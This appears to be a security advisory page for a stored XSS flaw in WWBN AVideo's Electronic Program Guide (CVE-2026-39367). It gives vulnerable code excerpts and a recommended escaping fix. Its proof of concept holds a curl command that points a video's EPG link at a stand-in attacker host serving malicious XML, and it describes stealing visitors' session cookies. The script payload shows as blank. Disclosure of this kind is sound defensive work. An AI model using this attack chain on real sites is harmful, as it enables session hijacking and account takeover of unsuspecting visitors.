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Open-source package vulnerability · Composer (PHP)

CVE-2026-39367: WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page

mediumCVSS 3.1 5.4GHSA-rqp3-gf5h-mrqx

Summary AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epglink to a malicious XML file whose elements contain JavaScript.

Published Apr 8, 2026

Affected packages

wwbn/avideo

Ecosystem
Composer (PHP)
Affected
<= 26.0
Fixed in
No patched version yet
Check
composer show wwbn/avideo

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.

Details

The vulnerability spans three files in the data flow:

1. Entry point — `objects/videoAddNew.json.php:117-119`

The epg_link parameter is stored with only a URL format check:

if (empty($_POST['epg_link']) || isValidURL($_POST['epg_link'])) {
    $obj->setEpg_link($_POST['epg_link']);
}

This requires User::canUpload() (line 10) — not admin, just basic upload permission.

2. XML parsing — `objects/EpgParser.php:321`

Programme titles are extracted as raw strings with no sanitization:

$this->epgdata[$grouper ?: 0] = [
    'title' => (string) $element->title,
    // ...
];

3. Sink — `plugin/PlayerSkins/epg.php:343-351`

Programme titles are interpolated directly into HTML output without htmlspecialchars() or any escaping:

} else if ($width <= $minimumWidth1Dot) {
    $text = "<abbr title=\"{$program['title']}\">.</abbr>";          // attribute injection
} else if ($width <= $minimumWidth) {
    $text = "<abbr title=\"{$program['title']}\"><small ...";        // attribute injection
} else if ($width <= $minimumSmallFont) {
    $text = "<small class=\"small-font\">{$program['title']}..."; // HTML injection
} else {
    $text = "{$program['title']}...";                            // HTML injection
}

Notably, the channel display-name is sanitized via safeString() at line 151, but programme titles are not — an apparent oversight.

The EPG page (epg.php) requires no authentication to access, and the rendered output is cached at line 634 (ObjectYPT::setCache), so the XSS payload persists in cache even if the original malicious XML is later removed.

PoC

Step 1: Host a malicious XMLTV file at an attacker-controlled URL:

<?xml version="1.0" encoding="UTF-8"?>
<tv>
  <channel id="ch1">
    <display-name>Test Channel</display-name>
  </channel>
  <programme start="20260404060000 +0000" stop="20260404070000 +0000" channel="ch1">
    <title><![CDATA[]]></title>
  </programme>
</tv>

Step 2: Create a video with the malicious EPG link (requires upload permission):

curl -s -b 'PHPSESSID=UPLOAD_USER_SESSION' \
  'https://target.example/objects/videoAddNew.json.php' \
  -d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epg_link=https://attacker.example/evil.xml&categories_id=1'

Step 3: Any visitor (unauthenticated) browsing the EPG page triggers the XSS:

https://target.example/plugin/PlayerSkins/epg.php

The `` payload executes in the browser of every visitor, exfiltrating cookies and session tokens.

Impact

  • Session hijacking: Any visitor's session cookies are exfiltrated, including administrators
  • Account takeover: Stolen admin sessions allow full platform control
  • Persistent: The XSS payload is cached server-side and fires for every page visitor without further interaction
  • Wide blast radius: The EPG page is publicly accessible with no authentication required

Recommended Fix

Escape all programme data before rendering in HTML. In plugin/PlayerSkins/epg.php, apply htmlspecialchars() to programme titles before interpolation:

// Around line 340, before the width checks:
$safeTitle = htmlspecialchars($program['title'], ENT_QUOTES, 'UTF-8');

// Then use $safeTitle instead of $program['title']:
} else if ($width <= $minimumWidth1Dot) {
    $text = "<abbr title=\"{$safeTitle}\">.</abbr>";
} else if ($width <= $minimumWidth) {
    $text = "<abbr title=\"{$safeTitle}\"><small class=\"duration\">{$minutes} Min</small></abbr>";
} else if ($width <= $minimumSmallFont) {
    $text = "<small class=\"small-font\">{$safeTitle}<small class=\"duration\">{$minutes} Min</small></small>";
} else {
    $text = "{$safeTitle}<small class=\"duration\">{$minutes} Min</small>";
}

Additionally, consider sanitizing all EPG XML fields at parse time in EpgParser.php:316-330 to defend in depth.

Credited to offset.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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